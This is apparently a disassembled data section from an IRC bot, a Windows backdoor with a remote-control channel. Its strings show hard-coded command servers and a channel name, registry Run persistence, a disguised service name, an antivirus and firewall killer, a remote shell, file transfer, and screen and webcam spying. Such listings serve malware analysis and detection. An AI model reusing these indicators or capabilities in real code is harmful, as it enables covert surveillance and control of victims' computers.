		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: ___:off_43C95Co
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4235C9+119o
		align 10h
asc_427C10	db 0Ah			; DATA XREF: sub_4235C9+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_4235C9+D3o
		db 0Ah
		db 'Program: ',0
		align 10h
a___		db '...',0              ; DATA XREF: sub_4235C9+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_4235C9+7Do
		align 10h
dword_427C50	dd 0FFFFFFFFh, 423DE5h,	423DE9h	; DATA XREF: sub_423CEC+5o
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_4247EC+Ao
		align 10h
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_424D78+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_424D78+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_424D78+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_4256C2:loc_4257B7o
		align 4
a1Inf		db '1#INF',0            ; DATA XREF: sub_4256C2+D8o
		align 10h
a1Ind		db '1#IND',0            ; DATA XREF: sub_4256C2+C7o
		align 4
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_4256C2+ADo
		align 10h
dword_427CF0	dd 0FFFFFFFFh, 4260BAh,	4260BEh, 0FFFFFFFFh, 426129h, 42612Dh
					; DATA XREF: sub_425F03+5o
		dd 427E2Ch
off_427D0C	dd offset loc_4264E2	; DATA XREF: sub_4264BA+8o
					; sub_4264FE+2Co ...
		dd offset sub_4264D5
		dd offset sub_4266F6
		dd offset dword_427E78
off_427D1C	dd offset sub_42654C	; DATA XREF: sub_4264FE+3Ao
					; sub_426568o ...
		dd offset sub_4264D5
		dd offset loc_426732
dword_427D28	dd 0			; DATA XREF: sub_4264FE+16o
					; sub_4265D0+16o
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_426573+11o
		dd offset dword_427EC4
off_427D48	dd offset sub_42665B	; DATA XREF: sub_426677o
					; sub_42669A+37o ...
		dd offset sub_4264D5
		dd offset loc_426714
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_42669A+11o
		dd offset dword_427F08
off_427D68	dd offset loc_4267F7	; DATA XREF: sub_4267E2o
					; ___:off_43D084o ...
		dd offset dword_427F38
off_427D70	dd offset loc_426813	; DATA XREF: sub_42682F+8o
					; sub_42686C+8o ...
		dd offset sub_4268CC
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_4268CC+7o
		align 10h
dword_427D90	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_4268D9+Eo
		dd 3, 19930520h, 2 dup(0)
dword_427DB0	dd 0FFFFFFFFh, 426A8Ah,	426A8Eh, 0FFFFFFFFh, 426B07h, 426B0Bh
					; DATA XREF: sub_426988+5o
dword_427DC8	dd 0FFFFFFFFh, 426CFFh,	426D03h, 0FFFFFFFFh, 426D5Ch, 426D60h
					; DATA XREF: sub_426C13+5o
		dd 43D084h, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_427DF8	dd offset off_43D09C	; DATA XREF: ___:00427E10o
					; ___:00427E5Co ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427DF8
		dd offset dword_427DC8+18h
dword_427E18	dd 3 dup(0)		; DATA XREF: ___:00427E3Co
		dd 2, 427E10h, 3 dup(0)
		dd offset off_43D09C
		dd offset dword_427E18+4
off_427E40	dd offset off_43D0BC	; DATA XREF: ___:00427E58o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E40
		dd offset off_427DF8
		dd offset dword_427DC8+18h
		dd 0
		db    0			; DATA XREF: ___:00427E88o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 427E58h
dword_427E78	dd 3 dup(0)		; DATA XREF: ___:00427D18o
		dd offset off_43D0BC
		dd offset unk_427E68
off_427E8C	dd offset off_43D0DC	; DATA XREF: ___:00427EA4o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E8C
		dd offset off_427DF8
		dd offset dword_427DC8+18h
dword_427EB0	dd 3 dup(0)		; DATA XREF: ___:00427ED4o
		dd 3, 427EA4h
dword_427EC4	dd 3 dup(0)		; DATA XREF: ___:00427D44o
		dd offset off_43D0DC
		dd offset dword_427EB0+4
off_427ED8	dd offset off_43D100	; DATA XREF: ___:00427EF0o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427ED8
		dd 0
		db    0			; DATA XREF: ___:00427F18o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 427EF0h
dword_427F08	dd 3 dup(0)		; DATA XREF: ___:00427D64o
		dd offset off_43D100
		dd offset unk_427EF8
		dd offset dword_427DC8+18h
dword_427F20	dd 4 dup(0)		; DATA XREF: ___:00427F48o
		dd 1, 427F1Ch
dword_427F38	dd 3 dup(0)		; DATA XREF: ___:00427D6Co
		dd offset off_43D084
		dd offset dword_427F20+8
		align 10h
dword_427F50	dd 19930520h, 2, 427F70h, 5 dup(0) ; DATA XREF:	___:loc_426DF7o
		dd 0FFFFFFFFh, 426DE0h,	0
		dd offset sub_426DD8
dword_427F80	dd 19930520h, 2, 427FA0h, 5 dup(0) ; DATA XREF:	___:loc_426E14o
		dd 0FFFFFFFFh, 426E04h,	0
		dd offset loc_426E0C
dword_427FB0	dd 19930520h, 2, 427FD0h, 1, 427FE0h, 3	dup(0) ; DATA XREF: ___:loc_426E20o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 427FF8h, 4	dup(0)
; ---------------------------------------------------------------------------
		retf	40D7h
; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 426E2Ah
dword_428010	dd 19930520h, 1, 428008h, 5 dup(0) ; DATA XREF:	___:loc_426E32o
		dd offset off_43D084
		align 8
		dd 0FFFFFFFFh, 0
		dd 0Ch,	42686Ch, 0
		dd offset off_43D09C
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	426618h, 0
		dd offset off_43D0BC
		align 10h
		dd 0FFFFFFFFh, 0
dword_428078	dd 1Ch,	426682h, 3, 428064h, 428048h, 42802Ch ;	DATA XREF: ___:0042809Co
dword_428090	dd 0			; DATA XREF: sub_426573+2Eo
					; sub_4266F6+4Bo
		dd offset sub_426568
		dd 0
		dd offset dword_428078+8
		dd 0FFFFFFFFh, 426E3Ch
dword_4280A8	dd 19930520h, 1, 4280A0h, 4 dup(0) ; DATA XREF:	___:loc_426E44o
		dd 0FFFFFFFFh, 426E4Eh
dword_4280CC	dd 19930520h, 1, 4280C4h, 4 dup(0) ; DATA XREF:	___:loc_426E56o
		dd 0FFFFFFFFh, 426E60h
dword_4280F0	dd 19930520h, 1, 4280E8h, 5 dup(0) ; DATA XREF:	___:loc_426E68o
		dd offset off_43D0DC
		align 8
		dd 0FFFFFFFFh, 0
dword_428120	dd 1Ch,	4266DEh, 3, 42810Ch, 428048h, 42802Ch ;	DATA XREF: ___:00428144o
dword_428138	dd 0			; DATA XREF: sub_42669A+2Eo
					; sub_4266F6+2Do
		dd offset sub_426677
		dd 0
		dd offset dword_428120+8
		dd 0FFFFFFFFh, 426E72h
dword_428150	dd 19930520h, 1, 428148h, 4 dup(0) ; DATA XREF:	___:loc_426E7Ao
dword_42816C	dd 2, 428048h, 42802Ch	; DATA XREF: ___:00428184o
dword_428178	dd 0			; DATA XREF: sub_4266F6+Fo
		dd offset sub_4264BA
		dd 0
		dd offset dword_42816C
		dd 5 dup(31208D93h), 5 dup(3D6BBAA8h), 5 dup(19788FBEh)
		dd 7Ah dup(0)
		dd 19788FBEh, 0
		dd 31208D93h, 15h dup(0)
		dd 3D6BBAA8h, 2FCh dup(0)
dword_429000	dd 0			; DATA XREF: ___:0041B7A3o
		dd offset loc_401205
		dd offset sub_40D878
		dd offset sub_40D89A
		dd offset dword_40E504+1CFh
dword_429014	dd 0			; DATA XREF: ___:0041B79Eo
dword_429018	dd 0			; DATA XREF: ___:0041B794o
		dd offset sub_41D052
		dd offset sub_42026D
		dd offset sub_423936
		dd offset word_424752
dword_42902C	dd 0			; DATA XREF: ___:loc_41B78Fo
dword_429030	dd 0			; DATA XREF: sub_41B7D3+65o
		dd offset sub_4239DB
dword_429038	dd 0			; DATA XREF: sub_41B7D3:loc_41B833o
dword_42903C	dd 0			; DATA XREF: sub_41B7D3+76o
		dd offset byte_424763
dword_429044	dd 3 dup(0)		; DATA XREF: sub_41B7D3:loc_41B844o
dword_429050	dd 80000002h, 429174h, 80000002h, 4291A4h, 80000001h, 429174h
					; DATA XREF: sub_401000+7o
dword_429068	dd 6272h		; DATA XREF: sub_401000+63o
					; sub_4010AB+Bo ...
dword_42906C	dd 1B58h		; DATA XREF: ___:004016C5r
					; ___:0040175Ar
dword_429070	dd 0C8Bh		; DATA XREF: ___:004017A6r
dword_429074	dd 7E4h			; DATA XREF: sub_401ACD:loc_40461Br
dword_429078	dd 45h			; DATA XREF: sub_401ACD+2088r
					; sub_40BACD+3Br
dword_42907C	dd 7D1h			; DATA XREF: sub_401ACD:loc_403C43r
					; sub_40BACD:loc_40BEBEr
dword_429080	dd 201h			; DATA XREF: sub_401ACD:loc_403DCFr
word_429084	dw 7C7h			; DATA XREF: sub_401ACD:loc_40473Er
		align 4
dword_429088	dd 1			; DATA XREF: sub_401ACD+65Fr
dword_42908C	dd 1			; DATA XREF: ___:0040135Er
dword_429090	dd 1			; DATA XREF: ___:loc_401562r
					; sub_418359+Cr
byte_429094	db 2Eh			; DATA XREF: sub_401ACD+A92r
					; sub_401ACD+B4Br ...
		align 4
dword_429098	dd 0Ah			; DATA XREF: sub_40ACB5+3Ar
					; sub_40ACB5+60r ...
dword_42909C	dd 4			; DATA XREF: sub_4017ED+78r
					; sub_401ACD+279r ...
dword_4290A0	dd 1			; DATA XREF: sub_4017ED+72r
					; sub_401ACD+273r
aDark		db 'Dark',0             ; DATA XREF: ___:0040127Eo
					; sub_401ACD:loc_4044A0o ...
		align 4
aAbosel7V4	db 'abosel7 v4',0       ; DATA XREF: sub_401ACD:loc_404945o
		align 4
aCool		db 'cool',0             ; DATA XREF: sub_401ACD+7DDBo
					; sub_401ACD+7EAAo
		align 10h
aScorti1_dns2go	db 'scorti1.dns2go.com',0 ; DATA XREF: ___:004016B1o
					; ___:0040174Bo
		align 4
aFaak		db '#FAAK#',0           ; DATA XREF: ___:004016D1o
					; ___:00401761o ...
		align 4
aSaad_		db 'saad.',0            ; DATA XREF: ___:004016E8o
					; ___:00401773o
		align 4
byte_4290E4	db 73h			; DATA XREF: ___:loc_401789r
					; ___:00401797o
aAber_ircqforum	db 'aber.ircqforum.com',0
aFaak_0		db '#FAAK#',0           ; DATA XREF: ___:004017ADo
		align 10h
aSaad__0	db 'saad.',0            ; DATA XREF: ___:004017BFo
		align 4
byte_429108	db 77h			; DATA XREF: ___:00401364o
					; ___:00401388w ...
		db 69h,	6Eh, 64h
		dd 72657373h, 652E6376h, 6578h
dword_429118	dd 6E6E6977h, 61622E74h, 74h ; DATA XREF: ___:00411C50o
aWindowsServces	db 'Windows Servces Agent',0 ; DATA XREF: sub_401000+Eo
		align 4
asc_42913C:				; DATA XREF: ___:0040AD34o
		unicode	0, <->,0
aWinsys_dat	db 'winsys.dat',0
		align 4
aXI		db '-x+i',0             ; DATA XREF: sub_401ACD+7F26o
		align 4
aF		db '#f',0               ; DATA XREF: sub_401ACD+1D45o
					; sub_401ACD+303Fo ...
		align 4
aF_0		db '#f',0               ; DATA XREF: sub_401ACD+44A2o
		align 4
aF_1		db '#f',0               ; DATA XREF: sub_401ACD+40C4o
					; sub_401ACD+4216o
		align 10h
off_429160	dd offset a@admin_com	; DATA XREF: sub_401ACD:loc_4098FBo
					; "*@admin.com"
off_429164	dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8C3r
					; sub_401ACD+7E4Ao
					; "mIRC	v6.16 Khaled Mardam-Bey"
		dd offset aMircV6_17Khale ; "mIRC v6.17	Khaled Mardam-Bey"
		dd offset aMircV6_20Khale ; "mIRC v6.20	Khaled Mardam-Bey"
		dd offset aMircV6_21Khale ; "mIRC v6.21	Khaled Mardam-Bey"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
		align 4
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_419E79+28o
					; sub_41A19D+28o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_419E79+D4o
					; sub_41A19D+D4o
		align 4
		dd offset aAdministrato_0 ; "administrator"
		dd 0
		dd offset dword_43D128
		dd offset aAdministrato_0 ; "administrator"
		align 10h
dword_429230	dd 10h			; DATA XREF: sub_401ACD+AFBr
					; sub_401ACD+B27r ...
aAdministrato_0	db 'administrator',0    ; DATA XREF: ___:0042921Co
					; ___:00429228o
		align 4
aMircV6_21Khale	db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429170o
		align 4
aMircV6_20Khale	db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co
		align 4
aMircV6_17Khale	db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o
		align 4
aMircV6_16Khale	db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429164o
		align 4
a@admin_com	db '*@admin.com',0      ; DATA XREF: ___:off_429160o
dword_4292D0	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:0040168Co
aFailedToStartS	db '- Failed to start server, error: <%d>.',0
		align 4
dword_429304	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:00401641o
aServerRunningO	db '- Server running on Port: 113.',0
		align 10h
unk_429330	db  2Dh	; -		; DATA XREF: ___:00401614o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aFailedToStartA	db ' Failed to start AV/FW killer thread, error: <%d>.',0
		align 10h
unk_429370	db  2Dh	; -		; DATA XREF: ___:004015C3o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aAvFwKillerActi	db ' AV/FW Killer active.',0
		align 4
dword_429394	dd 234032Dh, 6E69616Dh,	202D0203h, 20746F42h, 72617473h
					; DATA XREF: ___:00401585o
		dd 2E646574h, 0
dword_4293B0	dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o
dword_4293BC	dd 255C7325h, 73h	; DATA XREF: ___:004013AAo
					; sub_415A2F+7Eo
dword_4293C4	dd 73257325h, 0		; DATA XREF: ___:0040132Eo
					; sub_40F6B3+EAo ...
unk_4293CC	db  2Dh	; -		; DATA XREF: sub_4017ED+F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aConnectedToS_	db 'Connected to %s.',0
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_401955+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_401955+35o
		align 4
aModeSS_0	db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F2Eo
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F16o
		align 4
unk_429434	db  2Dh	; -		; DATA XREF: sub_401ACD+7F09o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedIn_	db 'User: %s logged in.',0
unk_429454	db  2Dh	; -		; DATA XREF: sub_401ACD+7EECo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPasswordAccept	db 'Password accepted.',0
		align 4
unk_429474	db  2Dh	; -		; DATA XREF: sub_401ACD+7E8Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedHostAuth	db '*Failed host auth by: (%s!%s).',0
		align 10h
aNoticeSHostAut	db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7E62o
		align 4
unk_4294C8	db  2Dh	; -		; DATA XREF: sub_401ACD+7E24o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedPassAuth	db '*Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYourAtt	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7E12o
					; sub_401ACD+7E79o
		align 10h
aNoticeSPassAut	db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7DFBo
		align 4
asc_429548:				; DATA XREF: sub_401ACD+7DCBo
		unicode	0, <~>,0
unk_42954C	db  2Dh	; -		; DATA XREF: sub_401ACD+7D7Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRandomNickChan	db 'Random nick change: %s',0
		align 10h
unk_429570	db  2Dh	; -		; DATA XREF: sub_401ACD+7D0Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnectingIn	db 'Reconnecting in %s seconds',0
		align 4
unk_429598	db  2Dh	; -		; DATA XREF: sub_401ACD+7CC3o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnecting_0	db 'Reconnecting in %s ms',0
		align 4
unk_4295BC	db  2Dh	; -		; DATA XREF: sub_401ACD+7CA1o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNickChangedToS	db 'Nick changed to: ',27h,'%s',27h,'.',0
		align 10h
unk_4295E0	db  2Dh	; -		; DATA XREF: sub_401ACD+7C81o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChannelS	db 'Joined channel: ',27h,'%s',27h,'.',0
		align 4
unk_429604	db  2Dh	; -		; DATA XREF: sub_401ACD+7C5Ao
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPartedChannelS	db 'Parted channel: ',27h,'%s',27h,'.',0
		align 4
dword_429628	dd 234032Dh, 6E69616Dh,	202D0302h, 20435249h, 3A776152h
					; DATA XREF: sub_401ACD+7C3Ao
		dd 2E732520h, 0
unk_429644	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409684o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToKillTh	db '- Failed to kill thread: %s.',0
		align 10h
unk_429670	db  2Dh	; -		; DATA XREF: sub_401ACD+7BB0o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aKilledThreadS_	db '- Killed thread: %s.',0
		align 4
unk_429694	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4095FCo
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aNoActiveThread	db '- No active threads found.',0
unk_4296BC	db  2Dh	; -		; DATA XREF: sub_401ACD+7B25o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aStoppedDThread	db '- Stopped: %d thread(s).',0
		align 4
aAll		db 'all',0              ; DATA XREF: sub_401ACD+7B0Bo
unk_4296E8	db  2Dh	; -		; DATA XREF: sub_401ACD+79FEo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrefixChangedT	db 'Prefix changed to: ',27h,'%c',27h,'.',0
		align 10h
unk_429710	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4094B2o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aCouldnTOpenFil	db ' Couldn',27h,'t open file: %s',0
unk_429734	db  2Dh	; -		; DATA XREF: sub_401ACD+79DBo
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFileOpenedS	db ' File opened: %s',0
		align 4
unk_429754	db  2Dh	; -		; DATA XREF: sub_401ACD+79B7o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aServerChangedT	db 'Server changed to: ',27h,'%s',27h,'.',0
		align 4
unk_42977C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409467o
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aCouldnTResol_0	db '- Couldn',27h,'t resolve hostname.',0
		align 4
unk_4297A4	db  2Dh	; -		; DATA XREF: sub_401ACD+796Co
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aLookupSS_	db '- Lookup: %s -> %s.',0
		align 4
unk_4297C4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4093FCo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTermin	db ' Failed to terminate process: %s',0
		align 4
unk_4297F4	db  2Dh	; -		; DATA XREF: sub_401ACD+7925o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledS	db ' Process killed: %s',0
unk_429814	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409398o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTerm_0	db ' Failed to terminate process ID: %s',0
unk_429844	db  2Dh	; -		; DATA XREF: sub_401ACD+78C4o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledI	db ' Process killed ID: %s',0
		align 4
dword_429868	dd 234032Dh, 656C6966h,	202D0302h, 656C6544h, 20646574h
					; DATA XREF: sub_401ACD+7884o
		dd 27732527h, 2Eh
unk_429884	db  2Dh	; -		; DATA XREF: sub_401ACD+7802o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aSendFileSUserS	db '- Send File: %s, User: %s.',0
dword_4298A8	dd 234032Dh, 656C6966h,	202D0302h, 7473694Ch, 7325203Ah
					; DATA XREF: sub_401ACD+7785o
		dd 0
unk_4298C0	db  2Dh	; -		; DATA XREF: sub_401ACD+7754o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToStartC	db ' Failed to start connection thread, error: <%d>.',0
		align 10h
dword_429900	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 7325203Ah
					; DATA XREF: sub_401ACD+76E5o
		dd 2Eh
dword_429918	dd 234032Dh, 6372696Dh,	202D0302h, 6D6D6F43h, 20646E61h
					; DATA XREF: sub_401ACD:loc_40913Fo
		dd 746E6573h, 2Eh
unk_429934	db  2Dh	; -		; DATA XREF: sub_401ACD+766Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 69h,	72h, 63h
		db    2
		db 3, 2Dh, 20h
aClientNotOpen_	db 'Client not open.',0
		align 4
dword_429954	dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
					; DATA XREF: sub_401ACD+762Fo
		dd 732520h
unk_42996C	db  2Dh	; -		; DATA XREF: sub_401ACD+7610o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aErrorSendingTo	db '- Error sending to remote shell.',0
		align 4
asc_429998:				; DATA XREF: sub_401ACD+75F8o
					; sub_40F6B3+FBo ...
		dw 0Ah
		unicode	0, <>,0
unk_42999C	db  2Dh	; -		; DATA XREF: sub_401ACD+75CEo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileFailed	db 'Read file failed: %s',0
		align 10h
unk_4299C0	db  2Dh	; -		; DATA XREF: sub_401ACD+75C1o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileComple	db 'Read file complete: %s',0
		align 4
unk_4299E4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40901Eo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_0	db '- Invalid parameters for amateur video capture.',0
		align 4
unk_429A24	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409014o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCapt	db '- Error while capturing amateur video from webcam.',0
unk_429A64	db  2Dh	; -		; DATA XREF: sub_401ACD+753Do
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aAmateurVideoSa	db '- Amateur video saved to: %s.',0
		align 10h
aVideo		db 'video',0            ; DATA XREF: sub_401ACD:loc_408F86o
		align 4
unk_429A98	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408F73o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_1	db '- Invalid parameters for webcam capture.',0
		align 10h
unk_429AD0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408F6Co
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_0	db '- Error while capturing from webcam.',0
		align 4
unk_429B04	db  2Dh	; -		; DATA XREF: sub_401ACD+748Fo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aWebcamCaptureS	db '- Webcam capture saved to: %s.',0
aFrame		db 'frame',0            ; DATA XREF: sub_401ACD:loc_408EE5o
		align 4
unk_429B38	db  2Dh	; -		; DATA XREF: sub_401ACD+740Bo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverListComp	db '- Driver list complete.',0
		align 10h
unk_429B60	db  2Dh	; -		; DATA XREF: sub_401ACD+73D8o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverDSS_	db '- Driver #%d - %s - %s.',0
		align 4
aDrivers	db 'drivers',0          ; DATA XREF: sub_401ACD:loc_408E58o
unk_429B90	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408E45o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aNoFilenameSpec	db '- No filename specified for screen capture.',0
		align 4
unk_429BCC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408E3Eo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_1	db '- Error while capturing screen.',0
		align 4
unk_429BFC	db  2Dh	; -		; DATA XREF: sub_401ACD+7361o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aScreenCaptureS	db '- Screen capture saved to: %s.',0
aScreen		db 'screen',0           ; DATA XREF: sub_401ACD:loc_408DFDo
		align 10h
dword_429C30	dd 234032Dh, 6E69616Dh,	202D0302h, 68746547h, 3A74736Fh
					; DATA XREF: sub_401ACD+7318o
		dd 2E732520h, 0
unk_429C4C	db  2Dh	; -		; DATA XREF: sub_401ACD+72D2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUnableToExtrac	db 'Unable to extract Gethost command.',0
		align 4
unk_429C7C	db  2Dh	; -		; DATA XREF: sub_401ACD+72B6o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
